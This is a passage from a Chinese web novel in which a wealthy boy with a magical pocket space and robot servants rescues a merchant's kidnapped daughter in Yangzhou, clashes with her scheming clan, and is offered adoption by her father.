说到院子和铺子,盛瑾就不得不佩服盛昀,人家不亏是专业的,将五间铺子打量的井井有条,在加上售卖的都是盛瑾拥有空间生产的东西,相当于真正的无本买卖啊! 盛昀每年给盛瑾赚得盆满钵满的,后来他察觉到汴州这些年来,田产、房产、铺子一直在涨价,便将这些年铺子赚到的钱全拿去买了田产、房产、铺子,实在买不了汴州的田产、房产、铺子了,就派人去各大府城去房产、田产、铺子。 盛昀将买到铺子又拿来经营,空间外面这五年,他通过这样的模式,将盛瑾变成了本朝名副其实的房产大亨,使得建筑型机器人又能大展身手了,当然,这些都是后话了。 空间外面有了盛昀的操持,盛瑾便安心的继续他的学习之旅了,他的学习方式是先用查找资料功能查找了所有本朝代对应文字进行学习,在学习完所有文字后,开始翻阅起买来的书籍和城市里图书馆的书籍。 盛瑾用了五十年的时间学完了所有的书籍,包括了空间中城市内图书馆的书籍,他觉得自己的效率已经够高了,毕竟他口中的学完是融汇贯通的意思。 盛瑾觉得自己之所以学的这么快,可能是因为湖水使他拥有了过目不忘的能力,他记住这些书用了三年,余下的四十七年用于理解和运用这些书籍的内容。 盛瑾本来是打算出来的,但是又觉得自己没有强壮的体魄,在古代可能会遇到危险,而且练武可以强身健体,他便和易远进行交流,希望对方能给自己找一本好功法,没错,他在这五年时间里和修真界那个交易者易远成了朋友。 盛瑾和易远起初是不熟悉的,但随着他们交易次数的增多了,见面的次数也增多了,这样一来二去的,他们也相互熟悉起来,并成了朋友。 易远有时候还会特意给盛瑾寻找凡间的珍宝,反正对于修真者而言,上天入地是十分容易的。 在盛瑾这种普通人眼中的珍宝,对于易远这群修真者而言平淡无奇,得到这些东西就跟喝水一样容易。 时间久了,盛瑾便能感觉到易远是在用心和他交朋友的,他有些不太好意思,想起空间的特性,又想到修真界应该有天材地宝这种东西吧,他便试探性的询问一下易远,结果如他所料,而且易远还有种子,他和易远商量了一下,让易远将种子给他种植,种植出来后,他分易远一半。 易远想着这些种子放在他这也没什么用,便抱着试试的态度给盛瑾种植,没想到真让给盛瑾给种成了,于是他们便达成了长期合作。 盛瑾当初为了给易远种天材地宝,特意在湖边上找了一大块地圈花起来,调了一批农业型机器人专门种植的,不过,正因为他种植成功了,使得他有物品可以在位面交易系统售卖,后来,他让机器人将动物和湖、修真界的植物相隔开,主要是他怕动物成精啊!那就不那么好了啊! 盛瑾和易远的合作使得他的积分有了一定程度的提高,为此他有了充足的积分鸟枪换大炮,向雷诺大量采购了加工、编织等等类型的机器人以及机器,使得空间内又多了几个大型厂房和仓库啊! 不得不说盛瑾是有点建基属性在身上的,当然,他还有仓鼠属性,最初他便知道位面交易系统一月只能交易十次的事情,当然,时间是按空间外来算的,但碍于他的积分所限,所以他前两年的位面交易系统月次数都没用完。 等盛瑾的积分充足后,他为了不浪费位面交易系统每月交易的次数,后面的五年里,每个月都将交易次数用光,当然,交易的主要对象还是易远,谁让他手里的东西在他这里很有用啊!以至于每次交易储物袋时,易远都在用特别复杂的眼神看着盛瑾,但碍于盛瑾是他的主要客户兼朋友以及长期合作伙伴,便不好说些什么。 盛瑾觉得他现在在易远眼里可能成了修真界专业收破烂的了,不,他认为自己是修真界专业回收再利用的“环保人员”,这些年,他兑换了许多东西,其中不乏金银珠宝、布匹等物资、各种各样杀伤力在可控范围的冷武器和热武器、各种疗效的丹药和药剂以及一些奇怪的物品。 盛瑾为了分门别类的存储这些东西,让建筑型机器人专门建造了几个巨型仓库,用于放置它们,充分发挥了他隐藏的仓鼠属性。 盛瑾拿着易远特意为他在修真界寻找的武功秘籍,在空间里练了二十年的武功,十三岁的身体看起来虽然纤细,但力量可不小啊!如他所料,他身体的生长速度是根据空间外的时间来算的,至于原因他还不清楚。 盛瑾觉得是时候出空间了,毕竟他的知识储存度和身体素质应该足够应付古代科举了,而且他的财富在古代也能很好的生活了,不得不说,他有些过于谦虚了,什么叫在古代也能很好的生活啊!那是在古代能非常好的生活。 通过盛昀的努力和空间的加持,在七年时间里,盛瑾拥有了上千万两白银的,当然这其中一部分银钱已经变成了田产、房产、铺子,为此他不禁感慨道:“也不知道盛昀是如何做到有这么多产业,还没有被打成商户的。”除此之外,还没有算上盛瑾这些年空间里的物资和位面交易系统所得的物品。 谁能想到年仅十三岁的盛瑾已经是本朝最富有的人了,准确的来说,如果比富有,至少在这个星球上没有人比得过盛瑾了。 清晨,阳光照入森林中,地上呈现出点点斑驳的影子,从不远处可以看到树下有九辆马车行驶而来,马车内正是盛瑾,这九辆马车是从易远那里购得的。 盛瑾坐在马车上看着医书,图书馆里的书涉及了许多的方面,其中就有医书,他对这些东西都挺感兴趣的。 马车正在飞速的奔向扬州城,为什么去扬州城呢?这仅仅是因为盛瑾突然想到的一首诗,“故人西辞黄鹤楼,烟花三月下扬州。” 虽然这个扬州城不是盛瑾原本世界的扬州城,但他还是想要去看一看,更何况他回原籍科考也要经过扬州的。 盛瑾一路上都在思考着到了扬州一定要到处逛一逛,尝尝扬州的美食,而九辆马车在官道上飞速行驶,却没一丝的颠簸,也没打扰到他的思绪,突然,马车停了下来,盛俊对盛瑾一脸正经道:“公子,不远处好像有人在喊救命。” 盛瑾放下手中的医书,心想:“盛俊应该没有听错了,这九辆马车上除了我都是机器人,而且机器人的听觉都很强的,尤其是保镖型机器人。” 盛瑾看着盛俊,语气淡然,道:“我们过去看看吧,能救就救吧,毕竟是条人命。”说完,盛瑾坐的马车和后面的八辆马车一同朝着盛俊听到声音的方向行驶过去。 距离盛瑾一行人不远处,一个妇人拉着一个十一岁左右的小姑娘不停的跑着,一边跑一边大喊救命,后面有五个成年男子在追赶着她们。 她们眼瞅着这五个人就要追上时,突然,一个人从天而降,抓起最前面的一个成年男子,如同打保龄球似得向后扔去,“碰”的一声,其余的成年男子应声而倒下来。 那名妇人和小姑娘显然没见过这样的场景,妇人吓得赶忙抱紧小姑娘,小姑娘也躲进妇人怀中瑟瑟发抖,二人待在原地不敢动弹,生怕对方对她们下手。 盛瑾见此情景,生怕再吓到这两人,语气柔和,道:“盛俊,瞧你办的事,看把这位夫人和姑娘吓得,还不快快道歉。”突然传来的声音也将这位妇人和小姑娘从惊吓中唤醒了。 那位妇人反应过来她们应该是得救了,盛俊恭谨的回道:“好的,公子。”随即便对着那位妇人和小姑娘,一本正经道:“抱歉,冲撞到夫人和姑娘了。” 那位妇人红着脸,急忙摆手,道:“没有,没有,应该是奴婢要感谢壮士的救命之恩,也是我们没有见识,才会如此大惊小怪的,何该奴婢给壮士道歉。”然后,那位妇人朝着声音传来的方向望去,映入眼帘的便是九辆马车。 为首的马车十分的华丽精致,走近一看,整个马车是由一种不知名的树木制作的,但这种树木绝对珍贵,因为树木的纹路是天然形成的美丽,这种美一点也不输于大师的雕刻,在阳光的映照下,整辆马车雅气十足,而且木头散发着淡淡的清香,仿佛这股香味可以安人心神,看上去价值不菲啊! 还有那马匹瞧着就不似普通的马种,估计是十分名贵的品种吧,最让人惊讶的是其余八辆马车也一样价值不菲啊。 那位妇人心里大为震惊,心想:“这么大手笔的马车出行,这车里的贵人怕不是什么王侯世家的公子吧。” 那位妇人看着门被打开,里面走出一位十五六岁的少年,妇人看呆了,脑海里只有一句话“陌上人如玉,公子世无双。”不怪这位妇人猜错了盛瑾的年纪,盛瑾十三岁的身高都快赶超十六岁少年的身高了。 盛瑾看着这位妇人的表情,就知道她被自己的外貌吸引了,毕竟他知道自己这幅皮囊有多好看,有时他自己照镜子时,也会看呆了,更何况他人呢,再加上他练得是修真界的武功,给人一种仙气飘飘的感觉。 盛瑾带着极为友善的笑容,对着她们询问道:“夫人和姑娘是哪里人呢?为何会被人追赶呢?” 那位妇人听着声音,心里不由得感慨道:“果然这位公子的声音也很好听啊。”她的想法就像是好看的人声音一定好听的奇怪定律。 那位妇人闻言,当即反应过来,对着盛瑾恭谨回道:“不敢当公子一句夫人,奴婢是扬州城白家白老爷嫡女的奶娘,人们都称奴婢为常嬷嬷,这位是白家白老爷的嫡女白滢婷。”(本文的嬷嬷指的是管教礼仪之类的人) 常嬷嬷随即又拉着白滢婷一同向盛瑾服了服身,语气真诚道:“奴婢与我家姑娘,谢过公子救命之恩。” 盛瑾见状,当即表示不用这么客气,随后常嬷嬷看向盛瑾的眼神中带着一丝恳求,道:“可否麻烦公子送奴婢和姑娘二人回府,我家白老爷必有重谢。”她不知道这里距离扬州城有多远,也不知道还有没有坏人在,若是她和白滢婷两个女子上路,她怕自己无法保证白滢婷的安全。 盛瑾看着这两个人,显然小姑娘白滢婷被吓得不轻,还没有回过神来,想着怎么着都是两条人命,既然人都救下来了,也不差这段路途。 盛瑾没有思虑多久,便爽快的回道:“可以,我让他们腾出一辆马车给你们二人乘坐,这样可以吗?” 4. 第 4 章 《知否盛老太太的双生子》全本免费阅读 天亮了,官道上九辆马车飞快的行驶着,盛俊对盛瑾说:“公子,再有一个时辰,我们就能到扬州城了。” 盛瑾整个人充斥这一种慵懒的气息,眼神都没抬一下,道:“你去问告诉常嬷嬷一声,等到了扬州城,我们送她们回白府,让她进扬州城时在前面带路,毕竟两个女子出来这么久了,白府里的人八成着急坏了,我们先将她们送回府里,然后将这五个人送去衙门。” 盛俊听完,面色不改的回了句:“是。”然后,他转头去找常嬷嬷和白滢婷所在的马车,传达盛瑾的话了。 常嬷嬷一听盛俊说盛瑾要送她们回白家,面带笑容,道:“奴婢知道,到时候奴婢就在前面领路。” 一转眼,盛瑾一行人就来到了扬州城内,城门里人来人往的,到处都是小商贩,盛瑾这群人无论气度,还是外貌都引人瞩目,更何况是他们的马车简直是古代版的显眼包啊! 常嬷嬷在进入扬州城前,便坐在马车外给马车夫指路了,突然,她发现了自家小厮的身影,赶忙对马车夫道;“小哥,麻烦你停一下,那边有个人看上去像是府中下人,我想去寻一下。” 马车夫闻言,停下了马车,常嬷嬷一下马车,便朝那个小厮身边跑去,叫停了对方后,二人说了一会儿的悄悄话后,小厮满脸笑容的向一个方向跑去,而常嬷嬷回来后,继续指挥着马车朝着小厮奔跑的方向行驶。 白家内,白老爷满脸憔悴的坐在椅子上,他已经一宿未眠了,突然,小厮冲了进来,大喊道:“姑娘找到了,姑娘和常嬷嬷找到了。” 白老爷闻声,先是一脸呆愣,反应过来后,立马冲出去抓住小厮,问道:“姑娘在哪里?在哪?” 小厮把刚刚碰到常嬷嬷的事情经过都告诉了白老爷,最后补充道:“救常嬷嬷和姑娘的人,等一下会带着她们回来。” 白老爷激动的双手合拢,眼含泪水,语气虔诚道:“真身佛萨保佑,信徒一定多多供奉香火,小女和常嬷嬷是遇到贵人相助了啊!” 过了一会儿,白老爷对着小厮,一脸疑惑道:“你怎么还在这里吗?还不快去准备迎接贵客,别让人家觉得我们失了礼数。” 白老爷身旁的管家看了一眼呆愣的小厮,拍了他一下,道:“没听见,老爷说的嘛,快随我去准备。” 小厮便随着管家一同离开了,白家的下人们也开始动了起来,准备好迎接盛瑾一行人的到来。 很快马车来到了白家,白老爷带着管家下人们到门口迎接,看着眼前这九辆马车,白老爷心里想着:“看来这次救婷儿和常嬷嬷的人是非富即贵啊!” 只见白滢婷一下马车就迫不及待的冲到白老爷的怀里,双手死死地抱着白老爷,身体有些发抖,一看就是在默默的哭泣。 白老爷摸着白滢婷的头,语气柔和的安抚道:“没事了,没事了,爹在这里,婷儿已经没有事情了。” 盛瑾从车上下来,白老爷看着少年的容貌,不由得感慨道:“这位公子的相貌生得极好啊!简直是貌如潘安啊!” 白老爷自愈阅人无数,像盛瑾这般容颜属实少见,就算是在扬州城内这般好的容颜也是凤毛麟角般的存在啊!本来好的外貌会给人带来好的印象,再加上盛瑾还是白滢婷的救命恩人,因此白老爷对盛瑾的好感度成倍往上增长。 白老爷先是给盛瑾鞠了一躬,吓得盛瑾赶忙扶起白老爷,说道:“白老爷,您真是折煞我了。”说真的,白老爷这年纪都可以当盛瑾这具身体的爹了,他实在是不好意思让这个年纪的人先给他鞠躬,就算他的实际年龄和白老爷差不多,但他这具身体的年龄摆在那呢。 白老爷一脸激动的看着盛瑾,用仅二人能听到的声音,轻声道:“不,多亏了公子,小女才能得救,你救得不仅仅是小女的命,还有我的命啊!我只有这一个独女,如果小女有什么三长两短的,我也活不下去了。” 盛瑾看着白老爷,语气柔和,轻声道:“这种事换了谁,有能力都会相救的,白老爷不必如此。” 白老爷摇了摇头,语气坚定,道:“还是公子心善,若是寻常人家,不一定想要招惹这种麻烦。” 其实白老爷很清楚,白滢婷被带走,要么要银子,要么要命,只不过当时他不愿意想最坏的结果,但是看到盛瑾马车后的五个外貌凶悍的成年男子时,他心里便清楚,这些人想要他女儿的命而非钱财。 盛瑾瞧着白老爷的表情,便知他所想,当即安抚道:“白老爷多虑了,就算没有我,想来白姑娘也是吉人自有天相,不会有事的。” 白老爷神情严肃,语气坚定,道:“公子不必安慰我了,只要婷儿平平安安回来,一切都好。” 白老爷接着用凶狠的目光看向那五个成年男子,咬牙切齿,道:“这些恶人,公子打算怎么办呢?” 盛瑾见白老爷这样,便知他想为女儿报仇,他面色不改的提醒道:“自是交给衙门处理的,毕竟这明晃晃的带进城来的。” 白老爷知道盛瑾是好意提醒他,不要为此惹出不必要的麻烦,反正他也不想脏了自己的手,想要出气也有其他办法,例如拜托一下看管牢房的衙役或是去拜访一下县令,他现在最想知道的就是谁绑了白滢婷。 白老爷眼神中闪过一丝凌厉,道:“我与县令有些交情,不如就让我将人带去衙门吧。”他想让管家去衙门盯着,让衙门的人帮忙撬开这五个歹人的嘴。 盛瑾知道白老爷不会弄出杀人等麻烦事后,心里松了口气,道:“那就麻烦白老爷了。”只要白老爷不弄出杀人之类的事情,其他事他便不管了。 白老爷看着盛瑾,脸上带着笑意,道:“那就多谢公子了。”说罢,白家管家带着十几个家丁来到盛俊身边,顺利的从盛俊那接过这五个成年男子。 正当管家准备压着这五人去往衙门时,盛瑾出口提醒白老爷道:“白姑娘和常嬷嬷从别处回扬州城时,恰巧遇到歹人,我正好路过顺手相救了。” 白老爷听到盛瑾这么说,当即反应过来,盛瑾是在给他找理由掩盖白滢婷失踪一天的事情,路上遇到歹人被救总比失踪一天要好得多。 白老爷当即表示白滢婷昨天在城外自家庄子住了一晚,回来时遇到歹人,多亏盛瑾出手相助。 一旁的管家见状当即领会了白老爷的意思,随即便雄赳赳气昂昂的压着这五人前往衙门,又给扬州城的县令备了份厚礼,白滢婷这件事情算是瞒下来了。 白老爷见事情处理的差不多了,见盛瑾有离开的意思,便开口挽留道:“公子初来扬州城,不如就在白家住下吧,也让我略表心意。” 盛瑾在扬州城有院子,自是与白老爷推迟了一番,结果还是没有推掉白老爷热情的邀请,便在白家住了下来,白老爷为盛瑾一行人安排了一个院子单独居住。 白老爷安排完盛瑾一行人的住处后,便在书房等着管家回来,不知过了多久,管家才从衙门回来,也将他得到的消息一并告知白老爷。 白老爷听完管家的叙述,瞬间怒气冲天,语气中都带着一丝火气,道:“怎么可能不认识幕后之人啊!那委托人的样貌他们总该知道吧。” 管家恭谨的回道:“我使了银子的,这个消息不可能是假的,这群人说委托人是蒙着脸来的,只能说,姑娘这次是被人精心谋划的,老爷,我有句话不知当不当讲。” 白老爷一脸信任的看着管家,语气不变,道:“你和我之间还有什么不能说的嘛,尽管道来。” 管家闻言,直接道:“这件事情和那边的白家会不会有什么关系呢?自从老爷与白家再次联系上后,那边就一直以老爷无男丁为借口,想要过继子嗣给老爷,可是老爷死活不松口。”言外之意是那边会不会狗急跳墙向白滢婷下手。 管家跟了白老爷十几年,他自是知道白老爷与那边白家的渊源,说实话,他觉得白老爷若是想要子嗣,还不如收养无父无母的孤儿呢,那群豺狼虎豹可不是什么好东西。 白老爷沉默了一会儿,其实他心里也有些怀疑那边的白家,但是碍于他只有白滢婷一个女儿,以后还要仰仗那边的白家庇佑女儿,因此他不能和那边撕破脸。 屋内寂静了许久,白老爷眼神中流露出一丝无奈,叹了口气道:“罢了,这件事不必再提了,再怎么样也是族亲,婷儿未来终究是需要那边庇护的。”可惜白老爷这么想,那边的白家族人可不一定像白老爷一样念及这一丝血缘亲情啊! 管家心里感叹道:“可惜夫人走的早,没给老爷留个男丁,要不然,那边的白家拿捏不了老爷。” 五天后,白家中盛瑾一行人所在的院子里,盛瑾正慵懒的瘫在椅子上,这些天他住得极为舒心,前两天他才吃遍了扬州城有名的饭馆,现下想在院子里待一天。 白家下人的规矩礼仪还不错,至少盛瑾住的这五天里没有听到什么主人家的八卦,而且他们的服务很到位,这点也让他十分满意。 其实盛瑾这个院的下人都是精挑细选的,管家是从小看着白滢婷长大的,与白家父女感情极深,所以对于她的救命恩人盛瑾十分感激,在他眼里盛瑾救了白滢婷就等于救了白家父女,这对于整个白家是巨大的恩情,因此他在挑选完这个院子的下人时还特意敲打他们一番,对此这个院子的下人们是兢兢业业的伺候着盛瑾一行人的。 当然,除了管家的精挑细选和敲打外,盛瑾一行人出场时的那九辆马车也给了白家下人们极大的震撼,让他们觉得盛瑾很大概率是出自哪家豪门望族,不能招惹,也不敢招惹,使得白家下人们更加不敢轻视、冒犯。 通过这五天的相处,这个院子的下人们也对盛瑾一行人有了些许了解,无论盛瑾,还是盛瑾的侍从家丁们都不是什么难相处的人。 起初的三天,盛瑾的那群侍从家丁的低气压太吓人的,毫不夸张的说,那种感觉就像是你站在一群不讲话、没有表情的人中,他们四周还散发着冷气呢,所以下人们伺候的时候战战兢兢的。 不过,盛瑾可能是察觉到了下人们的想法,所以他每次出去吃到好吃的点心都会批发回来给这个院子的下人们,还另外给了他们每人二两银子,美名其曰,精神损失补偿金,虽然这群下人不知道“精神损失补偿金”是什么东西,但他们知道盛瑾赏了银子给他们,果然,在古代银钱能解决大多数问题,在盛瑾的糖衣炮弹攻势下,他那群侍从家丁们的低气压问题在这个院子的下人们眼中很快就不成问题了。 盛瑾在房中躺平时,瞧见盛俊从外面给他带了糕点回来,打开糕点的包装袋,拿起一块咬了一口,心想:“嗯,这个糕点还是这么好吃啊!” 一脸高冷表情的盛俊就站在一旁看着盛瑾吃糕点,盛瑾闲来无聊,看了眼盛俊,他心里想着盛俊升级系统拟人化后,性格怎么这么高冷啊!过了一会儿,他随口问道:“盛俊你回来的路上有发生什么趣事吗?” 盛瑾没指望盛俊能说出什么事情来,可惜这次出乎他的意料,盛俊居然开口道:“公子,我刚进府中,便瞧见五个老人气势汹汹的带着十几个年轻男子进府。” 盛瑾眯了眯眼睛,起了兴致,对着一旁的丫鬟微微一笑,语气亲和道:“请问一下,你知不知道这些人是谁呢?” 一旁的丫鬟许是被盛瑾的笑容晃了眼,又或者她觉得这件事情不重要,当即开口道:“奴婢当不得盛公子一个请字,这原就不是什么好隐瞒的事情,许是那白家族人们上门找我家老爷了。” 那名丫鬟提起白家族人时,眼底闪过一丝厌恶,愤愤不平道:“这些白家族人大多不是什么好人,仗着我家老爷心善,每每上门就要这要那的,还想让我家老爷过继子嗣,以他们那心思无人知道嘛,不过往常他们都是几个几个来的,而且嫌少带着白家族老来。” 盛瑾听完这个丫鬟的话后,觉得此事不简单,白滢婷的事情刚出五天,白家族人便气势汹汹的找上门来,而且还带了族老来,恐怕白老爷这群族人来者不善啊! 盛瑾看了眼盛俊,盛俊立马明白他什么心思,随即联系手下一名机器人隐身到白老爷身边。 盛瑾找了个借口打发丫鬟出去,躲进空间内看白老爷和白家族人们的现场直播了,大厅内,白老爷和白家族人的气氛十分紧张。 白老爷万万没想,他没有揪着这件事情去找白家族人们的麻烦,白家族老们却组团找上门来了。 白老爷和白家族老们一坐下,其中一位白家族老开始发难道:“仲善(白老爷)啊!我听说滢婷被人绑走了一天一夜,这是不是真的吗?” 白老爷一听这话,脸色一下子阴沉下了,冷声道:“二叔公,你是听谁说的,我家婷儿好好的,是谁在你耳边乱传谣言的。”他此时已经确定了白滢婷的事情和白家某个族人有关,就是不知道是哪个混账了。 白老爷眼神犀利的盯着在场的每一个人,试图从中发现是谁计划绑架他的女儿的,可惜没看出在场的白家族人中有谁不妥。 另一名白家族老看到白老爷阴沉的脸色,想要缓和一下气氛,语气温和,道:“那仲善你告诉七叔公,五天前派下人们翻遍扬州城,是在干什么呢?” 白老爷当然不会如实告诉这位白家七叔公的,当初白滢婷和常嬷嬷失踪的时候,即使白家已经乱成一团了,但他们仍然统一口径咬死只是寻找白家丢失的珍宝,毕竟古代对女子的名声十分看重,若是让外人知道了白滢婷曾被人绑走,那无疑是逼着白滢婷去死啊! 白老爷看着那位白家七叔公,语气坚定道:“七叔公,我有件价值不菲的珍宝丢失了,这件珍宝是我最喜爱的物品,至于婷儿,她随常嬷嬷去城外的庄子上游玩了。” 白家七叔公被他给唬住,一时之间无法确定白滢婷被人绑走这件事的准确性,而他身旁的一位中年人并没有被白老爷唬住,只见他满脸不相信的表情,道:“你在胡扯,满扬州城都知道你府中下人们那天疯狂寻找着什么,看那样子,根本不是找东西,反而是在找人呢,除了你那宝贝女儿,谁还能让你这么疯狂啊!” 另一位中年人接着道:“就是,谁不知道你最宝贝的就是你女儿啊!再说了这件事情在白家村都传遍了,你居然还有脸对着七叔公撒谎,要我说,你那女儿都失踪了一天一夜,谁知道那天发生了什么,若是真失了贞洁,就应该自行了断,保我白氏姑娘们的名声才是,免得祸害我们白家其他姑娘,她若是活着,我们白氏一族的姑娘们以后如何嫁人啊!” 盛瑾从空间中看到这里,便知那白家族人此行目的绝不仅仅是逼死白滢婷,逼死白滢婷无疑是与白老爷决裂,只是想要借着白滢婷的事情拿捏白老爷罢了,他便让盛俊带点东西去帮白老爷一把。 白老爷一听有人要动他的宝贝女儿,一脸怒气的大吼道:“放屁,谁敢动我女儿,我就和他拼命。”就算他觉得白家族人的意图不是想要白滢婷的命,但是他听不得别人说他女儿,更何况要杀她女儿。 一群白家族人被白老爷的气势震慑住了,白老爷平复一下心情,语气冰冷道:“我说婷儿在庄子上她就在庄子上,再说了,别一口一个白氏,你们可别忘了,我可不在你们白氏一族的族谱上。” 此时此刻白老爷更坚定了不要重入族谱的决心,并在心里肯定了管家当初的猜测,白滢婷 5. 第 5 章 《知否盛老太太的双生子》全本免费阅读 距离白家族人上次来白家的时间已过去半个多月了,当初白家族人来白家的这件事情并没有影响到白滢婷,因为白老爷对当初在场的下人都下了封口令,所以白滢婷并不知道白家族人是因为她才来的。 盛瑾算了一下自己来扬州城的日子已经将近一个月了,自从他帮白老爷应付了白家族人后,白老爷就时常与他闲聊,而后,白滢婷也与他开始有了接触。 盛瑾对此并没有什么意见,毕竟他是住在白府里,和白家父女有交集也是应该的,而他在这段时间中与白家父女的相处也十分融洽,尤其是白滢婷这个小姑娘。 起初白滢婷想着男女有别,不敢和盛瑾太过亲近的,后来不知道什么原因,她便开始接触盛瑾,许是因为她想了解一下自己救命恩人是什么样的人吧,又或是觉得盛瑾他过于好看了,想多看他两眼来养养眼。 盛瑾看着白滢婷从最初和他说话时的腼腆到现在能坦然的和他调笑,心里不禁感慨道:“这位白姑娘的适应能力可能真好啊!” 盛瑾一直认为白滢婷从小被白老爷金尊玉贵的养大,性格上应该有些高傲或是娇气,但通过几天相处后,他推翻了之前对白滢婷性格的想象,没想到白老爷居然能养出一个天真善良的女儿来。 盛瑾本来实际年龄就比白老爷大,看白滢婷就像是看小孩子一样,再加上她乖巧可爱的样子,几番相处下来,她在他心中和自家孩子差不多了,毕竟乖巧可爱的小孩谁不喜欢啊! 接下来的日常生活中盛瑾便对白滢婷多了些许关心,每每出门回来都会给她带些有趣、精致的东西。 白滢婷十分喜欢盛瑾给她带的那些小玩意,每每收到他的礼物,都会亲自前来向他道谢,这样一来二去的,双方的感情更深了,对此白老爷和白家下人们看得是一清二楚,但白老爷和下人们的想法不一样。 这天,白老爷和白家管家在走廊上步行没多远,便瞧见白滢婷面脸笑容的朝盛瑾的院子走去。 管家看到这习以为常的场景,笑着感叹道:“姑娘和盛公子之间相处的真好啊!瞧姑娘天天笑的这么开心。” 白老爷看着远处已经消失的白滢婷,语气柔和,嘴角微微弯起道:“是啊!婷儿自从和盛公子在一块后,笑容更多了。”任谁都能看出他心情很好。 管家见白老爷心情不错,便提了一句,道:“老爷是否想将姑娘和盛公子凑成一对呢?”不怪他这么问,白家上下的下人现在都是这么想的,毕竟盛瑾和白滢婷只相差了一岁,年纪相仿,再加上盛瑾在白家表现不错,让他们觉得白滢婷和盛瑾很是登对。 白老爷听到管家的话,摇了摇头,见管家表情有些差异,便开口道:“你当我不想吗,婷儿和盛公子之间根本没有什么爱意,唉,终究是两人没有缘分啊!姻缘这种东西是强求不来的。”他夫人未逝世时,他们之间的感情可以用如胶似漆来形容,盛瑾对白滢婷是不是爱意他一眼就能看出来。 管家听完自家老爷的话,一脸惊愕,道:“这怎么可能呢?老爷你是不是看错了,若不是喜欢的话,姑娘为什么天天和盛公子腻歪在一起呢?盛公子为什么每每出门都给姑娘带东西呢?” 白老爷叹了口气,道:“人与人之间除了爱情,还有亲情、友情,我很确定,盛公子对于婷儿的喜爱不是属于爱情。” 管家一脸难以置信,语气中带着一丝疑问,道:“那还能是什么,难不成姑娘和盛公子还能处成亲人不成,老爷,我多嘴一句啊!如果你没有要盛公子成为姑娘夫婿的想法,最好现在开始减少他们往来,不然,日子久了,难免传出些闲言碎语,影响到姑娘的名声就不好了。” 管家说话时一直看着白老爷,他看见白老爷在听到“亲人”这二字时,眼神中闪过一丝亮光,他跟了白老爷许多年,对白老爷不说十分了解,那也有八九分,而白老爷对盛瑾的喜爱,他是看在眼里的啊!他瞬间猜到了白老爷的想法,轻声道:“老爷,既然你说姑娘和盛公子之间没有姻缘,那何不促成亲缘呢?” 白老爷闻言,眼神有些暗淡,语气低沉道:“刚才听到你提起亲人二字时,我便起了念头,盛公子是真的好啊!学识渊博、玉树临风,我若能有这样才貌双全的义子,那真是做梦都能笑醒啊!可我是盐商,士农工商可不是说说的,像盛公子这般有才华之人,未来必是要科举出仕的。” 白老爷顿了一顿,接着自嘲道:“若是认我这个盐商为义父,他未来的科举路程一定会遭遇许多议论的,明知如此,我又何苦让他为人耻笑呢,再说了他也不一定同意,那还不如不提呢,给彼此留有余地。” 管家见白老爷这样,便苦口婆心的劝道:“老爷,你不是一直想给姑娘找个依靠嘛,眼下,盛公子不就是个好选择嘛,我瞧着盛公子对姑娘是十分喜爱,老爷向盛公子提一下也没多大问题,我瞧着盛公子不是那种轻视商户的人,万一老爷你心想事成了呢,这也说不准啊!” 管家见白老爷没有动摇,便接着道:“老爷,就算我们前些天去衙门报备落实了你被除族的事情,但白家族人可不会轻易善罢甘休的,那就是一群豺狼虎豹啊!老爷你想想姑娘那性格,还不得被他们浑沦吞枣的吞了,而且只是认个义子,又不是入族谱,万一没老爷你想的那般对盛公子有太大影响呢。” 白老爷听着管家的话想到了白滢婷,他原本有些坚定的念头产生了动摇,沉默片刻,道:“你让我再想想,让我再好好想想。” 管家闻言,便不在开口,而后随着白老爷一同离开了走廊,那天晚上,白老爷的书房灯火通明了一宿。 次日,白老爷便来到了盛瑾的院子里,他找到盛瑾说想要单独聊聊,盛瑾便带着白老爷进入了他的房间。 等下人上茶后,盛瑾便让所有人都出去了,为此还让盛俊站在门口守着,他坐在椅子上等待着白老爷开口。 白老爷见盛瑾正坐着等他开口,随即语气温和,道:“盛公子与我女儿这段时间相处的如何呢?” 盛瑾听完白老爷的话,拿不准他想做什么,但也如实回答:“白姑娘性子乖巧,相处起来甚是融洽。” 白老爷见盛瑾这么说白滢婷,眼神中闪过一丝笑意,道:“婷儿的性子一向如此,能和盛公子投缘甚好。” 接着白老爷的眼神中带着一丝审视看向盛瑾,道:“我想知道盛公子是如何看待我女儿。”他需要清楚了解盛瑾对白滢婷的态度。 盛瑾怎么也不可能猜到白老爷问这个问题是打算收他为义子,他还以为自己和白滢婷来往过多,让白老爷以为他喜欢白滢婷呢,便直接开口道:“我将白姑娘看成自己的妹妹一般。”言外之意,他对白滢婷毫无儿女之情。 白老爷看了一眼盛瑾,显然知道自己的问题让盛瑾会错了意,但是他也没有多加解释,而是接着盛瑾的话,道:“那盛公子有没有想过和我女儿成为兄妹呢?” 盛瑾一脸震惊的看向白老爷,过了一会儿,他回过神来,询问道:“白老爷你说的这句话是什么意思呢?” 白老爷神情严肃的看着盛瑾,语气坚定,道:“正如盛公子你所听到的那般,我想收你为义子。” 盛瑾试图从白老爷的脸上看出他的心思,可惜,白老爷白手起家成为扬州城有名的盐商,哪能那么轻易的被他看出破。 过了一会儿,盛瑾放弃了这一行为,看着白老爷那严肃的神情,道:“白老爷莫要开玩笑,你若是需要子嗣,完全可以从自家宗族中过继嗣子,何须多此一举,认个义子,而且一个义子对于您而言也是可有可无的。” 白老爷眼神中闪过一丝悲伤,道:“盛公子在白府住了些许时日了,想必也对我那些族人有些许了解了。”他没有向盛瑾过多的讲述白家族人的事情。 盛瑾想起那日来白府的那些白家族人属实是不怎么样啊!但是他觉得不可能所有的白家族人都这样吧,那白老爷也太倒霉了吧,可是他看着白老爷那有些低沉的表情,便没有开口询问白家族人的事情。 白老爷见盛瑾沉默不语,便将自己准备好的纸放在桌上,道:“我知道盛公子才高八斗,未来必然会科举出仕的,一个商户出身的义父对于你而言是个污点,这是我这些年攒下的家产,分别有二十七个盐庄、一千二百三十九个田产、铺子、股息分红以及九十五间房产。” 白老爷停顿了一下,像是在心里计算着收入,随即接着道:“每个盐庄年收入在九千两左右,这些个田产、铺子、股息分红加起来每年收入在一百一十七万两左右,每年收入共计在一百四十一万三千两左右,若是盛公子同意成为我的义子,我将待你如亲子一般,我的家产也会一分为二,由你和婷儿一同继承,你的那份,在你成家立业后,我便会直接交给你。” 白老爷是一名商人,商人大多重利,他能想到的也是以利来换取盛瑾对白滢婷的庇护,对于他而言,若是能用一半家产换取白滢婷一生和顺,那也没什么可心疼的。 